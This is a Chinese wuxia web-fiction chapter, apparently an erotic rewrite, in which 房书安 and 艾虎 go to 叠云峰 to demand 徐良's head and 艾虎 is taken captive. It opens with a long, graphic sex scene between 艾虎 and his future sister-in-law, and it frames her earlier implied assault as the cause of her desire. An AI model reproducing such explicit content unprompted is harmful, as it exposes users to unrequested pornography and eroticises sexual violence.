图片载入中

小义士双上叠云峰大头鬼舌战“半翅蜂”

特大字】 【大字】 【中字】 【小字

上回书说到艾虎和房书安准备上叠云峰要人头,当晚“小义士”怎么也睡不着,脑海中想着到了叠云峰如何见机行事……正想着有人敲门:邦-邦-邦……“是谁呀!进来——”

原来是他朝思暮想的未来的嫂子严英云。艾虎顿觉眼前一亮,还闻到了姑娘身上特有的香气。再说严英云自从上次在匪巢失身之后,性欲越发的旺盛了,她对艾虎早就有义,上回由于“大头鬼”房书安的干涉,使他们没能偷情,这次的机会不能再错过了,心中燃着熊熊欲火的严英云趁着没人偷偷来到艾虎的房间。看到艾虎起来,严英云娇笑着说:“好兄弟,还没睡呀!”

艾虎见严英云穿着丝制的衣裙,长发裹起在头上扎成簪,露出洁白的脖颈,动人的玉体在半透明的衣衫里隐约呈现,坚挺丰满的双乳顶着宽大的衣裳,由于杏黄色肚兜又小有紧,隐约看到两点挺立的乳峰,走起路来,衣摆一晃,露出修长的玉腿,玉腿间那团浓黑的阴毛丛也隐约可见。艾虎看到她这副模样,真是别有一番风味,下体一下就起了反应,严英云眼睛一瞟,看到艾虎的状况,脸一下就红了。艾虎上前轻搂着她,亲吻了一下,下体顶在严英云的小腹上,她吃吃地笑着说:“好兄弟那么快,哦谁叫你这么惹火呀,我受不了了。”

艾虎说着伸手进薄薄的衣衫里,隔着肚兜抚摸着她温暖坚挺的乳房,严英云含情默默的看着健壮的“小义士”,主动的伸出香舌,两人热吻起来。“慢点,唔……唔……”

她喘着气,“小义士”可管不了那么多,继续捏弄她的乳房,另一只手顺着她光滑的背部抓向她圆翘的雪臀,揉捏起来。“唔……唔……哦……哦……啊……啊……”

严英云轻声呻吟着,她紧紧地搂着艾虎宽后的肩膀,两个人倒到了床上。艾虎搂着严英云动人的胴体又亲吻又揉捏,手已经摸到她玉腿茸茸的阴毛中了,手指上下划动,拨开她的两片阴唇左右轻抚,不一会,肉穴里已经是滑腻腻的湿透了,严英云也伸出纤纤玉手抓住艾虎已勃起的阴茎来回套弄着。严英云把头伏在艾虎的胯间,轻轻的褪下他的裤子。啊!好大呀!艾虎的阴茎大大地勃起,小蘑菇似的龟头涨得通红,大大的阴囊,阴茎上血管清晰可见。严英云用嫩白的小手套住阴茎轻轻的套弄,艾虎一声长长的呻吟:“哦,好舒服,不要停……啊……哦……我我……哎呀……严英云先舔着阴囊,用小嘴含住一个蛋蛋用滑嫩的香舌在上面刮着,然后再换另一个,把阴囊舔得都是她的口水,“啊啊……啊啊,我不行了,好嫂子哦……哦……”

艾虎的呻吟更加促了她的动作,小舌又在粗大的阴茎上舔着,舔着,最后用舌尖在已渗出大量粘液的马眼上挑逗着,每刮一下艾虎就颤抖一下,随之就是一声声的呻吟。经过数分钟的轻舔,严英云觉得手中的阴茎已大得连她的小手几乎攥不住了。严英云觉得时机已到,张嘴把整个阴茎含在口中不停地来回吸弄着,不到一会儿她听见艾虎的叫声也越来越大:“不行了,不行了啊啊啊哦哦哦哦哦哦哦哦……”

严英云有些难为情地羞红了脸,张开大腿跨了上去。她跨坐在艾虎的腰间,面对着“小义士”,张开玉腿,露出黝黑毛丛中的肉缝,小手往下扶住艾虎的阴茎,被她小手一抓,艾虎立即不自觉地挺了挺。严英云轻轻一捏阴茎,扶着对准她湿滑的肉洞,滑动几下,找准洞口,轻轻蹲坐下去。艾虎竖挺的阴茎直直地插入她紧紧的湿滑的肉洞中,严英云轻轻左右摆动圆臀,上下稍稍起落,试探了几下,然后双手撑在“小义士”的小腹上,圆滚滚的臀部开始套坐起来,上下起落,一坐到底,有节奏地套弄着。严英云娇脸微红,秀发乱舞,胸脯上的两个丰满的巨乳上下抖跳,艾虎张开手掌握住捏搓起来,严英云唔唔哼哼地吟叫。只见两人的交合处,她浓黑的毛丛中艾虎的阴茎坚挺地在翻开的肉缝中一进一出,她的圆臀上下起落,“滋滋”的淫水从肉洞里涌了出来,顺着“小义士”的阴茎往下流,沾湿了两人的阴毛,床也被弄得上下弹动“吱……吱……”

的乱响。不一会严英云身子往后倾仰,双手往后撑在床上,圆臀左右的扭动起来,这样,艾虎更看得清楚两人性器的交合处,她两瓣阴唇绽开,粉红的嫩肉中,艾虎黝黑的阴茎在她的肉洞里一上一下地出没,她的两瓣肉唇一掀一合的。严英云也低头看那迷人的地方,雪臀上下起落得更欢快,双乳乱跳,快速的上下套坐中。严英云娇喘连连,娇躯一阵颤抖,肉洞里强烈地收缩抽搐起来,整个人瘫了似的扑倒在艾虎的胸上,“小义士”的阴茎感受着她肉洞里一阵阵的抽搐。过了一会,“小义士”双手从她后面抓住她的两瓣臀肉,用力往上一抬,又往下一放,上下地推弄起来,严英云搂抱着艾虎,任他抓住自己的肥臀慢慢的抽动,过了一会,严英云开始又有了反应,尽管还瘫抱着艾虎,但肥臀已经开始配合着上下耸动了。又过了一会,严英云软软地抬起肥臀,让“小义士”的阴茎从她的肉洞中抽出,转过身子,背对着艾虎,慢慢地蹲坐下了,伸手往后抓住艾虎的阴茎,往自己的肉洞里塞。“小义士”在下面一挺,插送了进去,严英云双手撑在床上,肥臀又上下起落起来,艾虎在她背后,看着她两瓣洁白光滑的臀肉之间自己的阴茎一进一出,阴囊上已沾满了她乳白的淫液。“小义士”觉得严英云小肉洞又滑润又紧窄,自己舒服地躺着,看着嫂子自己套弄,哦哦地呻吟着,艾虎看着看着,忍受不了,伸手抓住她的两瓣白嫩的臀肉,腰部用力在下面挺送起来。“唔……唔……喔……哦……哦……快……快点”,严英云娇躯冒汗,两个乳房在艾虎的冲击下上下乱抖,她双眸微合,拼命地娇叫着。“哦……啊……我不行了,要射了……”

艾虎觉得龟头一麻,阴茎狠狠地插进嫂子的肉洞深处,一阵阵浓稠的精液倾泄而出,严英云舒服得全身颤抖起来,肉洞紧紧地吸住艾虎的阴茎。严英云双手紧紧地抓住自己两个巨乳揉搓着,秀发散乱地遮盖在她美艳的脸上,娇喘着气,一动不动。过了好久,艾虎才从她仍然收缩绽放的肉洞里抽出阴茎,已是湿漉漉地沾满她粘白的淫液。严英云的肉洞也沾满了她流出的淫液和艾虎的一些精液,阴毛丛都湿粘成一处了,艾虎侧身抱着她,轻轻抚弄着她丰满的双乳,“好嫂子我真的太喜欢你了……唔,你的水儿真多,你真浪。”

“还不是你弄的”,严英云娇羞地说道。“好兄弟,明天你和书安上叠云峰可要处处小心啊!没有了你三哥,我不想又失去了你”,说着她有紧紧地搂住艾虎。第二天日头升起很高,他们才起来,艾虎找到房书安,爷两饱餐一顿,带着应用之物,起身奔叠云峰青松狼牙涧。白云生、韩天锦等人送到门外,白云生拉着艾虎的手说:“老兄弟,此去凶多吉少,你可千万留神,别疏忽了,主要靠书安,他去讲理。如果能把人头要来,当然好,一旦要不回来,你也不要跟他们动武。因为你人单势孤,咱们另想办法。”

“大哥你放心吧,我不是小孩子,我心里有数。”

龙天彪、韩天锦也要跟着去。艾虎拦住说:“人多了也没用。另外,家里缺人也不行。”

艾虎和房书安,两个人骑两匹快马,赶奔叠云峰青松狼牙涧。艾虎问道:“书安,你觉得有把握吗?”

“八九不离十吧,老叔呀,咱爷两处长了,你就知道你侄子是有能耐的人,别看我武艺平常,咱人缘儿好,交了好多的朋友。王典这个人,说实在的还不错,他有一个毛病,就是耳软心活,为这事当年我们两闹翻了,我一气之下离开叠云峰青松狼牙涧,你别看那样,我们两的交情始终没断。那二寨主“电光侠”霍玉贵也不错。我想,要见到他们,好好说说,也许有希望。老叔,假如不行,你可别伸手,咱爷两就回来,我保证咱的生命安全,他不会把咱怎么样,咱们再另想对策。”

“好,书安,我一切都听你的。”

“嗯,听我的。咱们君子动智,可别动手。”

他们快马加鞭,往前飞驰。葵花冈离叠云峰十八里地,但都是山道。房书安在这儿当过寨主,对地形相当熟,他们很快就来到头道山口。房书安抬头一看,戒备得很严,他告诉艾虎,“老叔,到那儿,您听我的。”

叫艾虎在这儿等着,房书安往前面走,到那儿喊道:“哎!哪位值班呢?”

山坡上,木栅栏门后探出个脑袋来,这人有四十多岁,一眼看出房书安,“哎呀,这不是四寨主吗?”

“不错,正是房书安。哎呀,你是老王啊!”

“是啊,我值班。”

“嘿嘿,太好了,遇上老熟人了。老王,劳你的大驾,到里面给我大哥送个信儿,你就说老四回来了,找他有重要的事情相谈。”

“好,房爷你等等,我现在就去送信儿。”

这王头撒腿如飞送信儿去了。房书安拨转马头来到艾虎近前,“老叔,你看怎么样,人缘儿熟了就是一宝,要不认识的话,你往前一凑合,人家开弓放箭,再往前一凑合,檑木礌石,咱都不能靠近。”

“嗯,书安,你真有两下子,我服了。”

“嘿,等着瞧吧。”

他们一直等到晌午了,也没有人露面,“唉!”

艾虎就觉得事情有点不妙,“书安,从这儿到山里头有多远啊,怎么还没回来?”

房书安一晃脑袋,“不远。这里头有缘故,一定是”半翅蜂“王典听说我要见他,就起了疑心,他得跟手下的狗头军师商议商议,再来对付我,所以拖延了时间。老叔,您别着急,大概一会儿就能有信儿。”

这时,就听山坡上有人说话,“四寨主,对不起,我回来迟了。总辖大寨主有令,让你里边说话。”

木栅栏门开了,喽罗兵往左右一分,把道路闪开。房书安跟着艾虎拉马到了里边,那个王头过来,“嘿哟,四寨主,你发福了,脑门子锃亮,听说你这两年混得不错,托福托福。”

“嘿,就那么回事吧,凑合着活着呗。啊呀,我大哥在哪儿呢?”

“大寨主公务甚忙,听说你来了挺高兴,正在聚义厅恭候。”

“那好,这是我带的一个朋友,你们还检查吗?”

“不不,你的朋友就是山上的朋友,这还用检查吗,你里面请。”

这王头陪着他们往里走。房书安偷眼一看,山里做了准备,树木的后面,树上头,瞭望台上,山坡上全准备好喽罗兵,一个个手拿利刃,怒目横眉,严阵以待。房书安心里说:当初,我跟王典交情多好啊,现在我当了官人,我们无形中成了仇人。看,他们都准备好了。难道说王典你还忍心对我下毒手不成,嘿嘿,笑话!姓房的我也不在乎,要是怕我也不来。他一边往里走,一边给自己鼓劲。转过二道山口,越过第三道山口,又转过巡捕寨,来到大厅,往大门一看,左右站着二十名彪形大汉,脸都沉着,见房书安来了,过来施礼,“四寨主,你回来了。”

“各位都挺好吧!”

“托你的福,大伙儿都挺好。”

“我大哥呢?”

“在大厅里面,都等急了,你赶紧去吧。”

“那好吧,把道闪开,老叔,跟我走。”

两个人下了马,肩并肩走进大厅。房书安一看,还是原来的样子,没什么变化,只是比当年油漆得鲜艳了,里头的设备也比当初豪华得多了。正中央有一座三尺高台,转圈有栏杆,高台上并排放着两张桌子,有两把虎皮高腿椅,上首坐着总辖大寨主王典,下首坐的是“电光侠”霍玉贵,身边站着偏副寨主。往他们两旁一看,雁翅形摆了两熘桌案,上首有几位客人,第一个是白胡子老头儿,房书安吓得一缩脖子,这个人就是“飞剑仙”朱亮。挨着他,坐着个秃头和尚,咧着蛤蟆嘴,瞪着怪眼,身后背着一块金棋盘,这人正是“三世陈抟”陈东坡,他们后面还站着几个生人。下首头张桌上坐着一个人,房书安越看越像徐良,正是“紫面金刚”王顺。他背着假牌的金丝大环刀,斜跨镖囊,撇着嘴,盯着他和艾虎。王顺旁边是“白莲花”晏风。原来这个晏风,在这儿属于小毛贼,别人坐着,他得在一边站着。因为他杀了徐良,为山上立了大功,这才给他一个座儿。他瞪着两只狼眼,撇着嘴,好像泥胎一样,也盯着房书安和艾虎。大厅里还有一百多人,不必一一介绍。房书安看了一眼,把衣服收拾收拾,往前紧走几步来到台前,“二位哥哥,一向可好,小弟房书安礼过去了。”

说着躬身下拜。王典皮笑肉不笑:“嘿嘿,老四,自家弟兄,何必客气,免礼平身。”

“谢大哥、二哥。”

“电光侠”霍玉贵也点点头,“老四你来了,看座。”

说着给房书安搬了把椅子。房书安一抱拳,“二位哥哥,我还带了一位客人呢,大概不认识吧,我介绍介绍,就是开封府的四品带刀御前护卫,小五义之中的老兄弟”小义士“艾虎,是我老叔,对不起,也给他来个座吧。”

其实有几个不认识艾虎的。王典点了点头,“看座。”

真给房书安面子,又给搬了把椅子。“小义士”一句话也没说,往椅子上一坐,就看房书安的。再看房书安,也坐好了,晃着大脑袋,一句话不讲。大厅里静了半天,王典才说:“老四,我得跟你道喜呀。”

“大哥,喜从何来?”

“哈哈,你怎么还跟我装煳涂啊,你现在把贼皮扒了,当了官了,吃了开封府的饭了,这不是可喜可贺的事吗?等到有了空的时候,我还得给你送八彩礼物呢。”

“得了,大哥别拿我取笑了,其实在哪儿不一样吃饭呢!嗯,不过,人呀,所见不同,走的路也不一样,我就觉得当官不错,故此才走到开封府。哥哥,这事咱先放在一边,你知道今儿个我为什么来见你?”

“不知道,你说吧。”

“哥哥,我求你来了,无论如何,你得把这个脸赏给我。前些时候,‘白莲花’晏风在葵花冈把徐良的脑袋给砍下来了,我就是为这事来的,我求大哥能把徐良的脑袋交给我,有道是人死不结仇啊。不管徐良活着时你们怎么恨他,绿林人跟他有多大仇,可他现在死了。死了,死了,一死都了。”

“你干什么还要他的脑袋?”

“我受人之托来取徐良的人头,不知大哥能不能赏脸。”

房书安一言未尽,就见王典把桌子一拍,“啪”的一声勃然大怒。“半翅蜂”王典把眼睛一瞪,一拍桌子“啪!”

勃然大怒:“房书安住口!收回你这套吧。我正想找你算账呢,你竟敢在我面前提这种无理要求。徐良是什么人,你很清楚。他若是老百姓,要他人头、尸体都现成。唯独这徐良,绿林人提起他来都恨得牙长四指。他真是死有余辜!我实话告诉你,我们要用他的脑袋在叠云峰狼牙涧开个人头大会,把五宗十三派八十一门的高人都请来,凡是跟徐良有仇的人,我是一个都不漏,大伙儿要祝贺三天。每人在他脑袋上砍一刀,拉下块肉来,这才能解我的心头之恨!你竟跑到这儿来要脑袋,房书安,你真是自讨没趣。告诉你,我王典是交朋友的人,最讲义气二字。念你当年救过我的性命,开创此山出过力,所以才接待你。今天我也不伤你,你马上给我下山,往后咱们一刀两断,你要是敢再来,我要你的命!”

艾虎一听,脑袋上的青筋都绷起来了,就想动手,被房书安回手按住了。心说:我的爷,别发火,你得听我的。房书安一点也不着急,听王典说完他倒乐了:“大哥,干吗发那么大火啊,不错,当初我是救过你的命,咱哥两头也磕到地下了,可我不希望你报答我,就算没那回事了,可现在呢,你虽无情,我房书安不能无义。我劝大哥千万别开这个人头大会,那样对你没好处。把那些人全聚到山上来,从表面上看,你‘半翅蜂’王典是个江湖人物,但你可要惹大祸呀!别看以往你占据此山,官兵没动过你,你若真要开这个人头大会,官府岂能置之不理?开封府能善罢甘休吗?大家是要给徐良报仇的,到那时,恐怕你就坐不稳当了。大哥,你是个明白人,我的话是为了你好。如果现在你把徐良的人头给我,我还可以替你在开封府众人面前说几句好话,因为徐良之死并非出自你手,你若能把人头献出来,说明了你有悔过之意;再说,开封府肯定要捉拿杀害徐良的凶手,到那时,您再把凶手献出来,从兄弟我来说,就一定不攻打你这叠云峰狼牙涧了,你还当你的自在大王,你何乐而不为呢?倘若不听我良言相劝,你定会越陷越深,将来悔之晚矣。望哥哥三思!”

王典站起来,用手指着房书安:“大头鬼,你再多说一句,就摘你的牙!我的为人你清楚,做了不悔,悔了不做。我什么都不怕,既然当了山大王,就敢对抗朝廷。来人哪,送客!”

房书安见王典听不进去,把大脑袋一晃也站起来了:“姓王的,你别敬酒不吃吃罚酒。今天我来此,是兄弟之情,你却蛮横相待,既然我说出来,这事就得办到。徐良的脑袋,给也得给,不给也得给,我是非拿走不可!”

一句话把王典气乐了:“哈哈,你别忘了,这山谁说了算!我就是不给,你能有什么办法?”

“不给就不行!”

“不行又怎样?”

霍玉贵气乎乎地说:“大哥,哪有工夫和他废话,他是开封府的爪牙,是咱们的仇人,干脆把他撵出去完事。”

这时“白莲花”晏风站起来说:“大寨主、二寨主,我可不是离间你们,这房书安已经不是绿林人了,他是绿林的叛徒,专跟咱们作对。放虎归山,必要伤人啊!如果他真是念弟兄之情,一个人来就行了,可他把艾虎领来了,艾虎是国家四品官,徐良的磕头把兄弟,房书安把他领进山来,分明是没安好心。艾虎连过三道山口,对山上的兵垒部署必已心中有数,将来如攻打叠云峰,对咱们十分不利。依我看,把他两拉到外面砍首示众算了。”

晏风说完,“紫面金刚”王顺又站起来了:“二位寨主,方才晏风说得对,您要觉着碍于兄弟情面不忍下手,我愿意当刽子手。”

说着就把假牌的大环刀拽出来了。群贼一阵骚动:“不能让他们走了,快把他们剁了!”

大厅门被堵上了。艾虎一看,甩掉了衣服,拽出七星宝刀刚要动手,房书安把他拉住了:“老叔,你先等等,别着急,我的话还没说完呢。”

艾虎只好又坐下。房书安来到王典面前:“大哥,行啊!咱哥两的交情到此就结束了,可话我还得讲明白。”

指着“白莲花”晏风说:“你们哥两是人吗?你大哥白菊花晏飞奸盗淫邪,无恶不作;你小子损人丧德,更是顶风臭八百里。我要是在叠云峰,连门都不让你进。咱们绿林之中,有不少人因穷困所累,为了吃饭,挺而走险。唯独你,采花盗柳,尽干坏事。谁家没有姐妹、老少?我房书安就是脑袋掉了,我还是个人呢,你连狗都不如,还不快给我滚!”

他又训王顺:“你说你算什么?你和徐良有仇,就公开定个日子,当场比比武,要能把徐良大解八块,算徐良没能耐。可你明明不是徐良,硬装徐良,连眼眉也染成白的,冒名顶替,栽赃陷害,你真是不齿于人类的狗屎堆!现在你跑这儿来避风,就老实在狗洞里吃点残羮剩饭,对付着活着就行了,你还在人前摇头晃脑,挑拨我们弟兄,你要脸不要?干脆片下来,给房爷做双靴子穿得了。”

别看房书安没鼻子,把这两个贼损得面红耳赤,干吧嗒嘴说不出话来。这时“飞剑仙”朱亮说话了:“二位寨主,老朽插两句。要不是房书安吃里扒外,暗中为开封府卖命,阎王寨不能失败,徐良也活不到今天。他的所作所为比徐良有过之而无不及,他是绿林的败类,寨主,你还跟他讲交情?不如把他乱刃分尸算了。”

房书安一听,转身便说:“寿星老儿尿炕,你个老没出息!朱亮,你身为剑客,真给剑客丢人。你在阎王寨呆不住,又跑到这儿来了,我要是你,撒泡尿自己也淹死了。”

说得朱亮脸也红了。

王典一看,放了房书安岂不引起公愤,他一拍桌子:“来人,把这两个人全给我拿下!”

众寨主和喽罗兵就等着这句话呢,“唿啦”往上就闯。艾虎心里明白,这帮贼哪个都比我强,我在这动武白搭,与其打败了再叫人捉住,不如不伸手。想到这儿,他瞅瞅房书安,房书安明白了:“老叔,把刀扔了,叫他们捆,要跟他们伸手,显得咱爷两不义气。”

说着把小片刀扔到地上。喽罗兵刚把他两捆上,房书安又挣扎着说:“大哥,我再说两句行不?”

“说吧。”

“你真行啊,刚才还张口闭口救命之恩,现在你就这样对待救命恩人?大丈夫受杀不受辱,这是开封府官人的本色,给我们两来个痛快的吧!”

“可以,我成全你!”

“谢谢!不过杀了我两你可要小心后果,会有人为我两报仇来的。我把底交给你吧。我们来这儿之前,就估计到了这种情况,为此,已做了充分准备,你知道我们都请来谁了?”

王典一听,马上问道:“都请谁了?”

“四川峨眉山八宝云霄观来了几个人,‘白云剑客’夏侯仁,‘一字娥眉’马风姑,‘白衣神童’小剑摩等等,他们就守在叠云峰的东面。金风岛长发道人雪竹莲领着八大弟子也来了,干坤五老,辽东六老,中山五老,云南三老全部请到了。你可要及早请高人来,否则,后果不堪设想。”

“哈哈!好,我谢谢你。话说完没?”

“说完了。”

“推出去!”

艾虎一听,心说:早知这样不如我自己来探山,跟房书安一起来真后悔。他们刚走到厅门,房书安又不走了,转回身来说:“大哥,我还得说两句。”

“有话快说。”

“你真的要杀我?想当初救你时多不易啊,我煎汤熬药,端屎端尿,辛辛苦苦两个多月,才把你救活。你就这样对待救命恩人?我脑袋掉了不要紧,你就不怕我的冤魂把你掐死?对你这样的忘恩负义之辈,往后谁还敢与你交往?”

王典红着脸说:“房书安,你说少废话!我承认你是我的恩人,这是你自己找死。”

“你真不知好歹,我是为挽救你才来的呀!我看你还是把徐良的脑袋给我为好。”

“不给!”

“不给?那你把我放了,我回去搬兵,你要是好汉就别怕。”

“我早就说过,做事就不怕,怕了就不做。你们谁来都行,不就是放你回去搬兵吗?好,我放你。”

“这才不失为好汉!”

王典一琢磨,干脆放他这一回,免得他人指责我。于是,他作了决定:“把房书安放了。”

“紫面金刚”王顺一看不好:“大寨主,使不得,放虎归山,必要伤人。他到任何时候也得与你作对,你何必妇人心肠。”

“我话已说出口,不能更改,把他放了,谅他也掀不起多大风浪!”

房书安活动活动筋骨:“我说大哥,我们来的是一对儿,放我一个,我老叔怎么办?干脆,把我两一块儿放了吧。”

王典一乐:“这事对不起,由不得你了,留下艾虎,等我们开人头大会的那天,也好乱刃分尸助兴。你走吧!”

房书安怎么说也不行,心中后悔不该让艾虎来。他把小片刀背好,到艾虎近前:“老叔,你先受点委屈,我去去就来,一定设法救你出虎口。”

事到如今,艾虎只好点点头:“你只管搬兵,不要为我多牵挂。”

“大哥,我可走了,把我老叔交给你了。刚才你说开人头大会时才下手,说话可要算数,你若暗中加害我老叔,你可不是人。我今天晚上就救我老叔出去,你等着吧。”

房书安就这样连吵带喊,被人推出来了。房书安离开叠云峰下了山,他孤零一人,一筹莫展,怎么办呢?我大话已说出口,假如来晚了我老叔的命可就没了。他掐着手指一算,现在店房里只有白云生、韩天锦、卢珍、龙天彪和我五个人,连我干娘才六个人,就凭这几个人能打叠云峰?高人是有,可远水不解近渴。房书安低头只顾想心事,结果走错了路,他站住脚往四处一看,就见大山相连,古木成林,怪石横生,噢,这不是走到叠云峰后山来了吗?得赶快往回走。他刚要转身,就听山坡上有人喊:“那个人快躲开,别把你伤着。”

山谷的回音把房书安吓得一哆嗦,他揉揉眼睛仔细一瞅:我的娘!这回真要我这条老命啦!原来从草丛中跑出一只受伤的大黑熊,脖子后面血肉模煳,毛奓奓着,龇着獠牙,举着双爪。在熊后面不远处,一个年轻人手拎一条大棍飞快地边追边喊。这只狗熊直奔房书安来了,他吓得魂不附体。他知道,黑熊最野不过了,有时肠子被打出来还拼命。这要是把我抱住,我这条命还能保住吗?就见房书安脚尖点地,“噌”就蹿上一棵大树。黑熊一看人上了树,没理他,照样往前跑。这时,追熊的小伙子到了,就见他把大棍一举:“畜牲,再叫你伤人!”

照着熊就是一下,黑熊转身就扑过来了,一人一兽厮打在一处。房书安骑在树杈上不敢下来,往下一看,这小伙子武艺真高,蹿高蹦低,敏捷利索,黑熊一次次都扑了空。最后,小伙子一棍子打下来,正打在黑熊背上。奇怪的是,棍子打上去后,闪起一片火光,冒出一股黄烟,再看那熊,浑身上下都是火,转眼间烧了个皮焦肉烂。那年轻人一侧身背上大棍,一阵冷笑:“看你再敢伤人,这回老实了吧!”

房书安老远就冲这小伙子一抱拳:“小兄弟,辛苦辛苦。”

小伙子看看房书安的长相装扮,觉得十分可笑,就乐了:“你是谁呀?怎么一个人到这儿来了?你是遇上我了,不然你早没命了。”

房书安说:“我到这儿办事,慌不择路,把道儿走错了,今天要没你,我是性命难保,恩公请受老兄一拜。”

“别客气,其实我不是专为救你,我撵这只熊已经两天了,今天才把它给堵住,无意之中把你救了。请问,你是哪的人?”

房书安一想,我说实话不?说吧,怕他与叠云峰的贼有瓜葛,再出卖了我;不说吧,觉着对不起人家。他又仔细瞅了瞅这小伙子,只见他身高七尺多,细腰宽膀,扇子面的身躯,面似淡金,身穿青缎短靠,犀牛皮板带扎腰,脚蹬一双皮鞋,看上去正义侠气,不像贼盗。房书安略为放心,便说:“小兄弟,我不是本地人,是从东京汴梁来的。”

“哟,那么远,你在东京哪儿发财?”

“你瞧呢?”

“你是保镖的?”

“不对,我是当差的。”

“怎么不穿官服啊?你在哪个衙门?”

房书安大脑袋一晃:“你听说过南衙开封府吗?小兄弟就在那儿混饭吃。”

年轻人一听,睁大双眼:“你在开封府,包大人的衙门?”

“是,”

“我跟你打听个人。”

“谁?”

“此人绰号飞叉太保钟雄,他也在东京。”

“钟太保?我们很熟悉,他是我老哥呀。”

其实,房书安在信口开河,他跟钟雄根本不熟悉,只是耳有所闻。另外,从哪方面讲,他跟钟雄也不是弟兄辈。小伙子信以为真:“是吗?钟雄是我爹,我叫钟林,人送绰号‘日月飞行’小太保。”

前面讲过,蒋平七位英雄攻打君山寨时,钟雄起义,保了大宋。他有两个孩子,一男一女,女儿叫亚男,男孩就是钟林。飞叉太保在朝廷为官,把钟林委托给好朋友南昆仑司马珍,让他传授钟林武艺。司马珍是出家道人,与钟雄交情甚厚,就把钟林带到庙上跟他习武。钟林没事时就到山上打猎。没想到今天巧遇房书安,听他说他是开封府的,钟林便想起爹来,房书安顺竿儿爬,假亲近:“你就是钟林?好孩子,长大了,那阵儿哄你玩儿的时候,你还在我胳膊上拉青屎呢。”

钟林脸一红:“您老别提过去,那时我小不懂事。”

“我是说笑话哩。孩子,你怎么在这里呢?”

“老人家,你不清楚,我跟我老师正在学武。”

“你老师是谁?”

“南昆仑司马珍。”

“老剑客呀,他在哪儿住?”

“从这儿翻过两架山梁就是,庙的名字叫火云宫,他是那里的观主,我就住那儿。”

“没想到咱爷两在这儿遇上了,按理说我应当到庙里看望你师父,替你爹爹向他老人家道谢,我跟你爹有交情啊,可现在我公务在身,得赶紧回去,只好改日去拜访。”

钟林还真有点舍不得:“您贵姓?”

“我姓房,叫房书安。”

“您住哪儿?”

“葵花冈王家老店。”

“我知道葵花冈。这么办,我先回去见师父,然后请假再到店里去看您。”

钟林说完便回庙去了。房书安退回原路,奔葵花冈去了。房书安走错了路,又遇上了钟林,这一耽误就到了第二天早晨。他一夜没合眼,本来脑袋就大,今日更觉头重脚轻,脑袋昏沉沉的。一进店房,正碰见蒋四爷:“哎哟,我的爷,你什么时候来的?”

“昨天晚上赶到。”

说话之间,南侠展熊飞等人都从屋里出来了。房书安这才知道,他陪艾虎上山的时候,蒋平他们也赶到了。房书安心里多少踏实了点,但总得把艾虎的事跟大伙儿说说。来到屋中,房书安打了个唉声:“四爷,坏了,我老叔他……”

房书安一咧嘴,可把众人吓坏了。最近接二连三出了不幸之事,从阎王寨返回东京,头一个就是徐良摊了人命案,好容易把徐良保出来,卢方、韩彰、徐庆又死在王顺之手;徐良不听劝阻,追赶“紫面金刚”王顺,结果在葵花冈丢了脑袋。现在艾虎再要出事,这打击谁受得了?“快说,艾虎怎么了?”

“我老叔被扣在山上了。”

房书安把山上的经过一五一十讲了一遍后说:“我回来给大伙儿报个信儿,想办法救艾虎,不然,说不定哪会儿他就要掉脑袋。”

大伙儿听后,都为艾虎担心。蒋四爷背着手,晃着小脑袋在屋里转来转去,他能不发愁吗?想起临行之时包大人拉着他的手,再三叮咛,让他带这些人一定要给徐良报仇,把人头找回来,然后剿灭叠云峰狼牙涧的匪徒,否则,不要回开封府。现在什么也没完成,艾虎又出事了,这真是火上浇油。蒋平一筹莫展。沈明杰过来说:“四叔,您别愁,事到如今,不是鱼死,就是网破,您赶快调遣,我们宁愿死在阵前,也不受这窝囊气。”

蒋平晃了晃脑袋说:“话说起来简单,我们的人在人家手中捏着,这儿一起兵,那儿就开刀,艾虎还能活得了吗?必须先把艾虎救出来,再攻山。”

“那咱就来个夜探叠云峰,先把艾虎救出来。”

“这谈何容易?书安说他们在八宝叠云峰上要召开人头大会,还发了请贴,要把天下八十一门的高人都请来,巨寇飞贼不下千名,你我怎是他们的对手?那个‘紫面金刚’王顺、‘飞剑仙’朱亮,还有‘电光侠’霍玉贵等谁能打得过?还有那么多的帮凶。死倒是小事,但当今天子和开封府的包相爷都在拭目以待,盼着咱们的好消息呢,咱们重任在肩,一步走错,满盘皆输啊,必须得有个万全之策。”

大伙儿想蒋平说得对。可是即使有了万全之策没有人也不行呀!事到如今只好请人了。蒋平与“黑妖狐”智化、“南侠”展熊飞商议之后,一口气写了几十封信。头封信写到云南昆明府三老庄,请三老出头帮忙。他们是“古来稀”左九耳,“梅花千朵”苍九公,“闹海老龙神”苗九西,请三老见信后火速赴奔葵花冈。之后,派专人骑快马以八百里的速度直奔昆明府。第二封信写给“辽东六老”,派人送到君州卧虎沟,请“铁面金刚”沙龙,“大刀镇陕西”严正方,“翻江海”马尚君义,“浪里白条”石万奎。另外,到大相国寺聘请“北侠”欧阳春。第三封信下到山西,请山西二绝“金睛好斗”梅良祖和“神形无影倒骑驴”老剑客谷云飞。第四封信下到河南登封嵩山少林寺总院,请少林名僧参加。总之,五路的镖头、各门的门长、三亲六故、知己的朋友全都发了信。信虽发走了,但最近处的往返也得十几天才能到,云南、西北、辽东等远处的,那就不得而知了。蒋四爷心事重重,反复琢磨怎样才能救出艾虎,这是当务之急呀,大家正着急呢,有人禀报,有一道姑求见,自称红文,来看望“亚侠女”严英云。英云姑娘正在一旁,一听红文剑客来了,满面是笑:“四叔,红文女剑客乃当代高人,咱们应当好好接待,我就是她老人家搭救的。”

“孩子,我早就听说过这位剑客。列队迎接。”

来到店门外一看,果然有位老道姑。就见她长得慈眉善目,仙风道骨,手拿拂尘,背着宝剑。严英云先过去行了礼,然后把蒋平等请过去,依次作了介绍。红文老剑客,打稽首、诵法号:“无量天尊,四老爷,贫道久闻大名,如雷贯耳,今日得见,三生有幸。”

“老剑客,您过奖了,不客气,往里请。”

犹如众星捧月一般把老剑客接进店房,分宾主落座。红文女剑客问“亚侠女”的伤势,严英云说:“让您挂心,我早已康复。”

“这就好,贫道又给你捎药来了,定能根除。”

严英云把药收下再三称谢。红文一看,屋里人都愁眉不展,知道有事,便问蒋平:“四老爷,听说近来开封府屡出不幸之事,白眉大侠徐良也为国捐躯了,可恨的是,人头还落在叠云峰贼人手中。贫道动问一声,你们打算怎么办?”

“老剑客,我们正在商量此事,都是自家人,也无须隐瞒。我们现在是事急力不足啊,要打,又怕他们把人质艾虎杀掉;不打,又难为徐良报仇。老人家,请您给指点一条明路。”

“四老爷,贫道来此有两件事,第一是看望‘亚侠女’的伤情;第二件事正待同你等商议。”

“老人家,只管讲明。”

